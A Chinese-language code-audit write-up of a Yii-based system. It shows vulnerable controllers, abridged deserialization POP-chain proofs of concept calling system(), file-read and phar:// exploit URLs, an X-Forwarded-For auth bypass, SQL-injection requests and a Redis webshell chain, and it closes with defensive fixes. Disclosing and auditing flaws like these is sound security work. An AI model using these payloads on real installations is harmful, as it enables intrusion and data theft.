某知名大型系统代码审计
字数 1678 2025-08-18 17:33:19
Yii框架代码审计与漏洞利用实战
1. 系统概述
审计目标是一个基于Yii框架二次开发的大型系统,包含多个子系统。系统采用Yii 2.0.45版本框架,并进行了自定义修改。
2. 漏洞发现与分析
2.1 前台SSRF漏洞
位置: center/controllers/DemoController.php
漏洞代码:
public function actionProxy(){
$rs = [];
if(\Yii::$app->request->isPost){
$url = \Yii::$app->request->post('url');
$post_data = \Yii::$app->request->post();
$rs = $this->post($url,$post_data);
}elseif (\Yii::$app->request->isGet){
$url = \Yii::$app->request->get('url');
$rs = $this->get($url);
}
return $rs;
}
利用方式:
- 直接请求内部服务:
/demo/proxy?url=file:///etc/passwd - 读取Redis配置:
/demo/proxy?url=file:///xxxx/etc/system.conf
危害:
- 读取任意文件
- 探测内网服务
- 结合其他服务实现RCE
2.2 未授权任意文件下载
位置: center/modules/user/controllers/GroupController.php
漏洞代码:
public function actionDownLoad()
{
if (Yii::$app->request->get('file')) {
return Yii::$app->response->sendFile(Yii::$app->request->get('file'));
}
// ...
}
利用方式:
- 直接下载文件:
/user/group/down-load?file=/etc/passwd - 结合phar协议触发反序列化:
/user/group/down-load?file=phar://./uploads/monitor/huahua.png
2.3 反序列化漏洞
POP Chain 1
利用链:
setasign\Fpdi\PdfReader\PdfReaderyii\redis\Connectionyii\base\ComponentOpis\Closure反序列化执行任意代码
POC:
<?php
namespace yii\base {
class Component {
private $_events = array();
private $_behaviors = 1;
public function __construct() {
include("./vendor/opis/closure/autoload.php");
$func = function(){
$cmd = 'touch /tmp/success';
system($cmd);
};
$raw = \Opis\Closure\serialize($func);
$data=\Opis\Closure\unserialize($raw);
$this->_events = ["afterOpen" => [[$data, "huahua"]]];
}
}
}
// ... 其他类定义 ...
?>
POP Chain 2
利用链:
setasign\Fpdi\PdfReader\PdfReaderyii\redis\Connectionyii\base\Componentyii\rest\CreateAction调用system函数
POC:
<?php
namespace yii\rest {
class CreateAction {
public $id;
public $checkAccess;
public function __construct() {
$this->checkAccess = 'system';
$this->id = "touch /tmp/success";
}
}
}
// ... 其他类定义 ...
?>
2.4 前台无条件RCE
位置: center/modules/strategy/controllers/IpController.php
漏洞代码:
public function actionBindIp(){
$data1 = unserialize(Yii::$app->request->post('data1'));
// ...
}
利用方式:
- 构造恶意序列化数据
- POST请求
/strategy/ip/bind-ip并附带payload
2.5 API接口SQL注入
位置: rest/versions/api/immu/controllers/QueryController.php
漏洞代码:
$tableName = sprintf('srun_detail%s%s',"_",$time);
$sql = "select SUM(`total_bytes`) as `mysql_bytes` from `$tableName` where `user_name`='$userName'";
$mysqlData = Yii::$app->db->createCommand($sql)->queryOne();
权限绕过:
- 访问
/api/v8/auth/get-access-token获取token - 请求时添加
X-Forwarded-For: 127.0.0.1
利用方式:
GET /api/immu/query?access_token=FPFBWAk5llPf3Phd5drTiez9Uks1749J&user_name=test002&time=mobile_day`+where+user_name='test001'+union+select+1+and(select+sleep(3))%23
3. 漏洞利用实战
3.1 SSRF到RCE利用链
- 通过SSRF读取Redis配置
- 获取Redis密码和端口
- 尝试Redis未授权访问或使用密码连接
- 利用Redis写入Webshell
3.2 任意文件下载到反序列化RCE
- 寻找文件上传点(
/report/system/image-save) - 上传恶意phar文件
- 通过任意文件下载触发phar反序列化
上传点代码:
public function actionImageSave()
{
$post = Yii::$app->request->post();
$picInfo = $post['baseimg'];
$savingDir = 'uploads/monitor/';
$streamFileRand = $savingDir.$post['sql_type'].$post['proc'].'.png';
preg_match('/(?<=base64,)[\S|\s]+/',$picInfo,$picInfoW);
file_put_contents($streamFileRand,base64_decode($picInfoW[0]));
return true;
}
4. 防御建议
-
SSRF防御:
- 禁用危险协议(file://, gopher://等)
- 对URL进行白名单校验
- 禁用curl的跟随重定向
-
文件操作防御:
- 对文件路径进行严格校验
- 禁用危险协议(phar://等)
- 设置文件下载权限检查
-
反序列化防御:
- 避免直接反序列化用户输入
- 使用白名单校验反序列化类
- 更新依赖库修复已知漏洞
-
SQL注入防御:
- 使用预处理语句
- 对表名、字段名进行白名单校验
- 使用框架提供的安全查询方法
-
权限验证强化:
- 统一权限验证机制
- 避免IP伪造(X-Forwarded-For信任问题)
- Token与IP绑定校验
5. 总结
本次审计发现了Yii框架二次开发系统中的多个高危漏洞,包括SSRF、任意文件下载、反序列化RCE和SQL注入等。这些漏洞的组合利用可以导致系统完全沦陷。开发过程中应特别注意用户输入的过滤和验证,避免直接使用危险函数,并保持框架和依赖库的及时更新。